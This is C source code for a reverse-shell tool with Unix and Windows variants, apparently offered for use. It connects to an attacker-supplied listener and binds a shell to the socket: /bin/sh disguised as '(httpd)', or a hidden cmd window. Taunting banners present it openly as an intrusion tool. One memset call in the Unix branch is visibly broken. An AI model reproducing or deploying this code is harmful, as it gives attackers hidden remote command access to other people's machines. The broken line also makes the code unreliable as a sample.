#ifndef WIN32
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define BANNER ".:[ :)акк ]:."
#define MSG "\n[+] Cought portshell...\n[~] \n\n"
#define SHELL "/bin/sh"
int main(int argc, char *argv[])
{
int sd;
struct sockaddr_in sin;
if(argc == 3) {
sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(argv[2]));
sin.sin_addr.s_addr = inet_addr(argv[1]);
memset(&(sin.sin_zero), '\0',
;
if((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket()");
exit(-1);
}
if(connect(sd, (struct sockaddr *)&sin, sizeof(sin)) == -1) {
perror("connect()");
close(sd);
exit(-1);
}
send(sd, MSG, sizeof(MSG), 0);
dup2(sd, 0);
dup2(sd, 1);
dup2(sd, 2);
execl(SHELL, " (httpd)", 0);
close(sd);
}else{
fprintf(stderr, "\n %s\n\n", BANNER);
fprintf(stderr, "Usage: %s <listener> <port>\n", argv[0]);
fprintf(stderr, "Example: %s 10.0.0.1 8080 &\n\n", argv[0]);
exit(0);
}
return 0;
}
#else
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#define RCVBUFSIZE 32
#define BANNER ".:[ :)акк ]:."
#define MSG "\n[+] Cought portshell...\n[~] Have fun cracka!@#$\n\n"
int main(int argc, char *argv[])
{
int sd;
char *addr;
char comspec[MAX_PATH];
unsigned short port;
WSADATA wsaData;
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo = { 0 };
struct sockaddr_in cbAddr;
if(argc < 3) {
fprintf(stderr, "\n %s\n\n", BANNER);
fprintf(stderr, "Usage: %s <listener> <port>\n", argv[0]);
fprintf(stderr, "Example: %s 10.0.0.1 8080 \n\n", argv[0]);
exit(0);
}
addr = argv[1];
port = atoi(argv[2]);
if(WSAStartup(MAKEWORD(2, 0), &wsaData) != 0) {
fprintf(stderr, "[-] WSAStartup() failed ...");
exit(1);
}
if((sd = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0)) < 0) {
fprintf(stderr, "[-] WSASocket() failed ...\n");
WSACleanup();
exit(1);
}
memset(&cbAddr, 0, sizeof(cbAddr));
cbAddr.sin_family = AF_INET;
cbAddr.sin_addr.s_addr = inet_addr(addr);
cbAddr.sin_port = htons(port);
if(connect(sd, (struct sockaddr *)&cbAddr, sizeof(cbAddr)) < 0) {
fprintf(stderr, "[-] connect() failed ...");
closesocket(sd);
WSACleanup();
exit(1);
}
send(sd, MSG, sizeof(MSG), 0);
memset(&sinfo, 0, sizeof(sinfo));
GetStartupInfo(&sinfo);
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
sinfo.wShowWindow = SW_HIDE;
sinfo.hStdInput = (HANDLE)sd;
sinfo.hStdOutput = (HANDLE)sd;
sinfo.hStdError =(HANDLE)sd;
if(GetEnvironmentVariable("COMSPEC", comspec, MAX_PATH) == 0) {
fprintf(stderr, "[-] Failed to read environment variable \"COMSPEC\" ...");
closesocket(sd);
exit(1);
}
if(!CreateProcess(NULL, comspec, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, 0, NULL, &sinfo, &pinfo)) {
fprintf(stderr, "[-] CreateProcess() failed ...");
closesocket(sd);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
closesocket(sd);
return 0;
}
#endif
пакет на гм 